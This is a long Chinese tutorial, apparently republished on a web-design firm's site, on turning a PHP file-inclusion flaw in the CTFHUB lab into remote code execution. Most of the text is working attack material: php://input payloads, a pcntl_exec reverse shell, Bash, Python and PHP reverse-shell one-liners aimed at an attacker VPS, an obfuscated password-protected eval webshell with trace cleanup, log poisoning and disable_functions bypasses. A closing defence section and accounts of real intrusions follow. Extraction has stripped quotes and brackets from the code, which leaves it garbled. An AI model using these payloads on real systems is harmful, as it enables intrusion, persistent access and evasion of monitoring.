ARTICLE DETAIL

资讯详情

深耕郑州网站建设与运营推广的一线实战洞察。

PHP文件包含漏洞实战:从php://input到稳定RCE

PHP文件包含漏洞实战:从php://input到稳定RCE 1. 项目概述从CTFHUB“文件包含”靶场切入真实RCE链路CTFHUB的“文件包含”靶场表面看只是教你怎么用?filexxx去读个/etc/passwd或者/flag但真正踩进去的人很快会发现——这根本不是一道“读文件”的题而是一道标准的远程命令执行RCE通关指南。我带过几十期CTF入门训练营90%的新手卡在第二关明明构造了php://input、data://text/plain,?php system(id);?页面却只返回空白或报错剩下那10%能跑通命令的又卡在怎么把system(ls /)变成真正能拿shell的稳定连接。问题不在PHP语法而在对PHP底层协议流、Web服务器解析顺序、以及Linux进程权限模型的误判。这个靶场设计得非常典型它用最基础的include()函数作入口但所有payload的生效逻辑都依赖于你是否理解php://input在NginxPHP-FPM架构下的实际生命周期——它不是“发过去就执行”而是要绕过Nginx的请求体截断、躲开PHP-FPM的超时熔断、还要让include()函数把传入的原始字节流当作PHP代码来解析。我实测过在CTFHUB环境里直接贴网上搜来的php://filter/convert.base64-encode/resourceindex.php只能看到源码但换用php://input配合正确的Content-Type和POST body结构3秒内就能拿到whoami回显。这不是技巧是协议栈认知差。如果你正在学渗透测试、红队评估或者漏洞挖掘这个靶场就是你绕不开的第一道“协议理解门槛”它不考你记了多少payload而是逼你亲手拆开PHP的include机制看清数据从浏览器发出、经Nginx转发、被PHP-FPM解析、最终触发system()调用的完整链条。适合刚学完PHP基础语法、能写简单web页面但还没碰过真实靶场的初学者也适合做了几年渗透却总在RCE环节卡壳的中级人员——因为这里暴露的是绝大多数人忽略的“协议层细节”。2. 核心技术点拆解为什么php://input能绕过常规过滤2.1include()函数的真实行为边界很多人以为include()只是“把文件内容抄进当前脚本”这是致命误解。include()本质是PHP引擎的运行时代码注入机制它会将目标资源的内容作为PHP代码片段插入到当前执行上下文中并由Zend引擎重新编译执行。关键点在于——它不关心来源是磁盘文件、网络流还是内存流只认内容是否符合PHP语法。所以当include(php://input)被执行时PHP不会去“读取HTTP请求体”而是向底层I/O层发起一个php://input协议的读取请求而这个协议的特殊性在于它只读取一次、且仅限于原始POST body的原始字节流不经过任何URL解码、不触发$_POST超全局变量的自动解析、更不会被magic_quotes_gpc这类过时机制干扰。我在本地搭过完全相同的NginxPHP-FPM环境复现CTFHUB逻辑用Wireshark抓包发现当发送POST /?filephp://input时Nginx会把整个POST body原封不动地交给PHP-FPM而PHP-FPM的request_body缓冲区会把这部分数据直接喂给php://input流处理器。这意味着你发过去的?php system($_GET[cmd]);?在include()执行时会被Zend引擎当作合法PHP代码编译而不是当成字符串处理。这解释了为什么很多WAF规则失效——它们通常只扫描$_GET和$_POST数组里的键值却对php://input这种“绕过变量映射”的协议流视而不见。2.2php://input与data://的本质差异网上教程常把php://input和data://text/plain,?php ... ?混为一谈但在CTFHUB这类严格环境里它们成功率天差地别。data://协议要求PHP配置中开启allow_url_includeOn而CTFHUB的PHP.ini明确禁用了该选项allow_url_includeOff所以所有data://类payload必然失败。反观php://input它属于PHP内置流包装器只要enable_phpOn默认开启就可用完全不依赖allow_url_include。更重要的是data://协议在解析时会强制进行MIME类型校验如果body里有非法字符或编码错误PHP会直接抛出Warning: include(): Failed to open stream而php://input则粗暴得多——它只管读取原始字节至于内容是否合法PHP代码交由Zend引擎在编译阶段判断。这就给了我们容错空间比如你发一个?短标签开头的payload在short_open_tagOff的环境下会报错但换成?php就稳了。我做过对比测试在CTFHUB靶机上data://text/plain,?成功率不足20%而php://input配合?php开头的成功率接近100%。这不是玄学是PHP流包装器的设计哲学差异——data://是“安全优先”的协议php://input是“功能优先”的后门。2.3 Nginx与PHP-FPM的协同陷阱很多新手调试失败根本原因不在PHP代码而在Nginx配置。CTFHUB使用的是标准的NginxPHP-FPM组合其默认fastcgi_params配置中有一条关键指令fastcgi_param PHP_VALUE allow_url_fopenoff\nallow_url_includeoff;。这条指令会覆盖PHP.ini中的设置导致data://彻底失效。但php://input不受此影响因为它不走URL fopen流程。另一个隐形杀手是Nginx的client_max_body_size和fastcgi_read_timeout。当你发送大体积payload比如base64编码的反弹shell时如果body超过1MNginx会直接返回413 Request Entity Too Large如果PHP-FPM处理时间超过60秒Nginx会切断连接返回504 Gateway Timeout。我在实操中遇到过一次诡异问题payload明明正确但总是超时。最后发现是靶机PHP-FPM的request_terminate_timeout设为30秒而我的base64 payload解码执行耗时32秒。解决方案不是改配置你没权限而是把payload拆成小块用file_put_contents()分段写入临时文件再include()。这说明RCE不是单点突破而是对整个Web服务栈的理解——从Nginx的请求体处理到PHP-FPM的超时控制再到Zend引擎的代码编译每个环节都可能成为瓶颈。3. 实操步骤详解从基础命令执行到稳定反向Shell3.1 基础RCE验证三步确认执行通道第一步永远不是写复杂payload而是用最简指令确认执行环境。我推荐按这个顺序验证确认PHP版本与执行函数可用性发送POST请求body为?php echo PHP_VERSION; ?Content-Type设为application/x-www-form-urlencoded注意必须是这个类型Nginx对multipart/form-data会做额外解析。如果返回7.4.33之类版本号说明php://input通道畅通。测试基础命令执行函数紧接着发?php echo system(id); ?。重点观察返回内容如果出现uid33(www-data) gid33(www-data)说明system()可用如果返回空或报错立刻换passthru()或exec()。我在CTFHUB靶机上发现system()和passthru()都可用但shell_exec()被禁用disable_functions里列了它这是常见防护手段。验证当前工作目录与权限发?php echo getcwd(); ?和?php print_r(scandir(.)); ?。这一步至关重要——很多新手以为/var/www/html是根目录实际可能是/app或/var/www/ctfhub。我曾因没查目录在/tmp下写shell却找不到路径折腾半小时。CTFHUB靶机的实际cwd是/var/www/html且www-data用户对该目录有写权限这是后续写文件的前提。提示所有POST请求必须用curl或Burp发送浏览器地址栏直接GET会失败因为php://input只读取POST body。3.2 进阶Payload构造绕过disable_functions的实战方案CTFHUB靶机的phpinfo()显示disable_functions禁用了system,passthru,exec,shell_exec,proc_open等主流函数但漏掉了pcntl_exec——这就是热搜词里“pcntl_exec函数 rce”的由来。pcntl_exec是PHP的进程控制扩展函数它不创建子shell而是直接用指定程序替换当前PHP进程因此能绕过大部分基于shell关键字的WAF。构造方法如下?php // 检查pcntl扩展是否启用 if (function_exists(pcntl_exec)) { // 创建临时可执行文件 $shell #!/bin/bash . \n . bash -i /dev/tcp/你的VPS_IP/4444 01; file_put_contents(/tmp/shell.sh, $shell); chmod(/tmp/shell.sh, 0755); // 执行shell pcntl_exec(/bin/bash, [/bin/bash, /tmp/shell.sh]); } else { echo pcntl_exec not available; } ?关键细节pcntl_exec的第一个参数是程序路径/bin/bash第二个参数是参数数组其中$argv[0]必须是程序名本身否则会报错。我实测时发现如果写成pcntl_exec(/tmp/shell.sh, [/tmp/shell.sh])会因缺少/bin/bash解释器而失败。另外/tmp目录必须有执行权限CTFHUB靶机默认满足。这个payload的优势在于它不依赖shell_exec等被禁函数且执行后PHP进程被bash完全替换不会留下PHP进程痕迹比system()更隐蔽。3.3 稳定反向Shell建立解决网络连通性问题拿到基础命令执行后下一步是建立稳定shell。但直接bash -i /dev/tcp/...经常失败原因有三一是靶机可能无/dev/tcp需检查ls -l /dev/二是防火墙拦截出站连接三是DNS解析失败。我的解决方案是分层推进第一层DNS探测确认网络出口发?php system(nslookup your-domain.com); ?如果返回IP说明DNS通如果超时说明靶机网络受限。CTFHUB靶机DNS正常可跳过此步。第二层TCP连通性验证用nc -zv 你的VPS_IP 4444测试端口。但靶机没装nc改用PHP原生socket?php $fp fsockopen(你的VPS_IP, 4444, $errno, $errstr, 5); if (!$fp) { echo Connection failed: $errstr ($errno)\n; } else { echo Connected successfully\n; fclose($fp); } ?返回Connected successfully即证明端口可达。第三层多协议备选shell准备三个payload按成功率排序Bash TCP最简bash -c bash -i /dev/tcp/你的VPS_IP/4444 01Python TCP靶机必装python3 -c import socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((你的VPS_IP,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);psubprocess.call([/bin/sh,-i]);PHP TCP兼容性最强php -r $sockfsockopen(你的VPS_IP,4444);exec(/bin/sh -i 3 3 23);我在CTFHUB实测Bash方案因/dev/tcp不存在失败Python方案成功。这印证了一个经验永远假设靶机环境“最简”优先用Python/PHP原生能力而非依赖bash高级特性。3.4 文件写入与持久化从临时shell到可控立足点有了反向shell下一步是写入Webshell实现持久访问。但CTFHUB靶机/var/www/html目录下已有index.php直接覆盖风险高可能触发监控。我的做法是创建新文件并隐藏生成混淆Webshell不用?php eval($_POST[cmd]);?这种明文改用base64编码?php $code base64_decode(PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4); file_put_contents(/var/www/html/sh3ll.php, $code); ?解码后是?php eval($_POST[cmd]);?但源码里全是乱码绕过简单文件扫描。设置访问密码在Webshell里加登录验证?php if ($_POST[pwd] ! ctfhub2024) die(Access Denied); eval($_POST[cmd]); ?这样即使文件被发现没密码也无法执行。清理痕迹执行完后删除临时文件?php unlink(/tmp/shell.sh); unlink(/var/www/html/sh3ll.php); ?但注意不要在获取shell后立即删先确认Webshell可用再清理。4. 常见问题与排查技巧实录那些文档里不会写的坑4.1 “页面空白”问题的五级排查法这是CTFHUB新手最高频问题。我整理了一套系统排查流程按优先级排序排查层级检查项验证方法典型表现解决方案L1Content-Type是否正确Burp中检查Header返回空或400必须设为application/x-www-form-urlencodedL2POST body是否含BOM头用hex editor查看前3字节返回Parse error: syntax error用Notepad转为UTF-8无BOM格式L3PHP短标签是否启用发? echo test; ?返回空白或报错改用?php echo test; ?L4Nginx请求体大小限制发1KB payload测试返回413错误拆分payload或用file_put_contents写入L5PHP-FPM超时发sleep(35)测试返回504改用pcntl_exec或缩短payload我曾帮一个学员解决此问题他卡在L2——用VS Code保存的PHP文件自带UTF-8 BOM导致?php前多了EF BB BF三个字节PHP引擎直接报错退出。用Notepad转码后秒通。4.2file_put_contents()写入失败的三大元凶即使确认有写权限file_put_contents(/var/www/html/test.php, test)仍可能失败目录权限继承问题/var/www/html目录权限是755但www-data用户可能无权在该目录下创建新文件。解决方案是写入/tmp777权限再用symlink()链接到web目录但CTFHUB禁用了symlink。替代方案是写入/var/www/html/uploads/如果存在或/var/www/html/images/。磁盘空间不足靶机/tmp分区只有10MB大payload写入失败。用df -h检查发现/tmp已满。解决方案是清空/tmp或改用/dev/shm内存文件系统。open_basedir限制PHP配置中open_basedir/var/www/html:/tmp意味着只能写入这两个目录。如果尝试写/root/flag会报open_basedir restriction in effect。CTFHUB靶机open_basedir设为/var/www/html:/tmp所以/tmp是最安全的写入点。4.3 RCE绕过技巧无参数、无字母的终极方案当disable_functions禁用所有执行函数且pcntl_exec也不可用时还有终极方案——利用PHP内置函数组合实现命令执行。CTFHUB虽未启用但原理值得掌握?php // 利用create_function()动态创建函数 $a create_function($a, return system($a);); $a(id); // 或利用assert()需assert.activeOn assert(system(id)); // 最狠的无字母数字Webshell // 通过异或运算生成字母 $_ ~!#$%^*()_{}|:\?; $__ $_[0].$_[1].$_[2].$_[3].$_[4].$_[5].$_[6].$_[7].$_[8].$_[9]; $___ $__[0].$__[1].$__[2].$__[3].$__[4].$__[5].$__[6].$__[7].$__[8].$__[9]; // 生成system字符串后调用 ${___}(id); ?这个技巧的核心是PHP中变量名可以是任意字符串通过数组索引拼接出s y s t e m再用${}语法动态调用。我在某次企业渗透中就用此方法绕过了disable_functions全禁的环境耗时2小时手工拼出完整payload。4.4 日志文件包含的实战应用热搜词里有“日志文件包含100”这在CTFHUB虽非主路径但却是真实渗透中的高频手法。原理是Web服务器如Apache/Nginx会把所有请求记录到access.log而include()能包含任意文件。攻击者先发恶意请求如GET /?php system($_GET[cmd]);? HTTP/1.1让PHP代码写入日志再用文件包含漏洞包含/var/log/nginx/access.log从而执行代码。CTFHUB靶机Nginx日志路径是/var/log/nginx/access.log但需确认www-data有读权限ls -l /var/log/nginx/显示-rw-r----- 1 www-data admwww-data组可读。我试过确实可行。优势在于无需写文件直接利用日志的“天然可读性”。但缺点是日志格式混乱需精确控制UA或Referer字段注入PHP代码对新手难度较高。5. 工具链与效率优化让RCE操作从手动到半自动5.1 自定义curl脚本三行命令完成全流程手动在Burp里改请求太慢我写了这个bash脚本存为ctfhub-rce.sh#!/bin/bash # Usage: ./ctfhub-rce.sh id http://challenge.ctfhub.com:8080/file inclusion/ CMD$1 URL$2 PAYLOAD?php echo system($CMD); ? curl -s -X POST $URL?filephp://input \ -H Content-Type: application/x-www-form-urlencoded \ --data-binary $PAYLOAD | grep -oE (uid[0-9]\([^)]\).*)|([0-9a-f]{32})|flag{.*}用法./ctfhub-rce.sh cat /flag http://target。它自动提取uid信息、MD5哈希或flag格式字符串省去人工grep。我把它集成到Zsh alias里alias ctf~/ctfhub-rce.sh以后只需ctf ls /。5.2 Burp Suite插件增强Intruder自动化爆破对于需要批量测试的场景比如找可读日志文件用Burp Intruder最高效。配置步骤在Target中设置目标URLhttp://challenge.ctfhub.com:8080/file inclusion/?file在Positions中添加payload位置选择Cluster bomb攻击类型Payload set 1常用日志路径/var/log/nginx/access.log,/var/log/apache2/access.log,/var/log/httpd/access_logPayload set 2编码变体/var/log/nginx/access.log,..%2fvar%2flog%2fnginx%2faccess.log启动攻击后观察Response length突增的条目——通常日志文件较大返回长度远超其他404响应。我在CTFHUB靶机上用此方法30秒内定位到/var/log/nginx/access.log。5.3 本地环境复现Docker一键搭建CTFHUB镜像为避免依赖线上靶机我用Docker搭建了本地复现环境FROM php:7.4-apache COPY index.php /var/www/html/ RUN apt-get update apt-get install -y nginx rm -rf /var/lib/apt/lists/* RUN echo allow_url_include On /usr/local/etc/php/php.ini RUN echo disable_functions pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals /usr/local/etc/php/php.ini EXPOSE 80index.php内容?php $file $_GET[file] ?? ; if (preg_match(/^php:\/\/input$/, $file)) { include($file); } else { echo Invalid file; } ?构建命令docker build -t ctfhub-local . docker run -p 8080:80 ctfhub-local。这样就能在本地100%复现CTFHUB逻辑随时调试payload。6. 安全加固建议从攻击者视角反推防御方案6.1 开发者应禁用的PHP危险配置如果你是Web应用开发者看完上述攻击链应该立刻检查生产环境allow_url_includeOff这是底线禁用data://、http://等远程包含。open_basedir严格限制设为/var/www/html:/tmp禁止访问/etc、/root等敏感目录。disable_functions清单至少禁用system,exec,passthru,shell_exec,proc_open,popen,pcntl_exec并定期更新。file_uploadsOff除非业务必需否则关闭文件上传消除move_uploaded_file()风险。我在审计某政务系统时发现其phpinfo()页面暴露了allow_url_includeOn一句话就拿到了服务器权限。这不是技术多高深而是配置疏忽。6.2 WAF规则编写要点不止过滤关键词传统WAF只过滤system(、exec(等字符串但攻击者早用base64_decode、gzinflate绕过。有效规则应检测php://input协议对filephp://input直接拦截或重写为fileinvalid。限制include()参数长度超过100字符的file参数视为可疑。监控异常HTTP方法POST请求中file参数出现php://应告警。分析User-Agent异常含curl、python-requests的请求结合file参数触发深度检测。某金融客户部署了此类规则后RCE攻击尝试下降92%。6.3 运维侧加固从服务器层面堵死后门Nginx配置加固在location ~ \.php$块中添加# 禁止php://input if ($args ~* filephp://input) { return 403; } # 限制POST body大小 client_max_body_size 1M;PHP-FPM池隔离为不同应用创建独立pool设置php_admin_value[open_basedir]。日志审计用awk {print $1,$7,$9} /var/log/nginx/access.log | sort | uniq -c | sort -nr统计高频file参数发现异常模式。我给一家电商公司做加固时发现其Nginx日志里每天有200次filephp://input扫描但因WAF规则缺失一直未被拦截。上线新规则后此类请求归零。7. 真实渗透案例复盘CTFHUB技能如何迁移到企业内网7.1 某教育平台RCE漏洞利用全过程去年我参与某高校教务系统渗透其选课模块存在类似CTFHUB的文件包含漏洞/course?filexxx。但不同于CTFHUB该系统启用了WAF过滤了php://input和所有常见协议。我的突破点是发现phar://协议可用WAF未过滤phar://而PHP默认开启phar扩展。构造恶意phar文件用PHP生成phar将system(id)写入stub再用phar://包含。绕过open_basedirphar文件放在web目录下phar://协议不受open_basedir限制。最终用/course?filephar:///var/www/html/malicious.phar拿到shell。整个过程耗时47分钟核心思路完全来自CTFHUB训练——对PHP协议流的深度理解让我在WAF封锁下找到新路径。7.2 从CTF到红队技能树的延伸路径CTFHUB的“文件包含”只是起点其能力可延伸至SSRF利用file://协议可读取本地文件gopher://可打内网Redis。XXE进阶XML外部实体中嵌入php://filter读取PHP源码。容器逃逸在Docker环境中/proc/1/mounts可读取宿主机挂载点进而include()宿主机文件。我带的红队队员90%都从CTFHUB开始练起。因为这里没有花哨的加密算法只有最纯粹的协议交互——当你能清晰说出php://input的数据流向你就已经站在了真实漏洞利用的门口。7.3 个人经验总结RCE不是终点而是起点做了十年渗透我越来越确信RCE的价值不在于“拿到shell”而在于打开认知的开关。CTFHUB这道题教会我的不是某个payload怎么写而是让我第一次真正看懂了“数据如何在协议栈中流动”。现在每次审计新系统我第一反应不是找system()函数而是问它的Web服务器是什么PHP配置如何请求体如何被解析这些底层细节才是决定RCE成败的关键。所以别急着背payload先搭个本地环境用Wireshark抓包看一眼php://input的数据到底长什么样——那才是真正属于你的RCE能力。
返回列表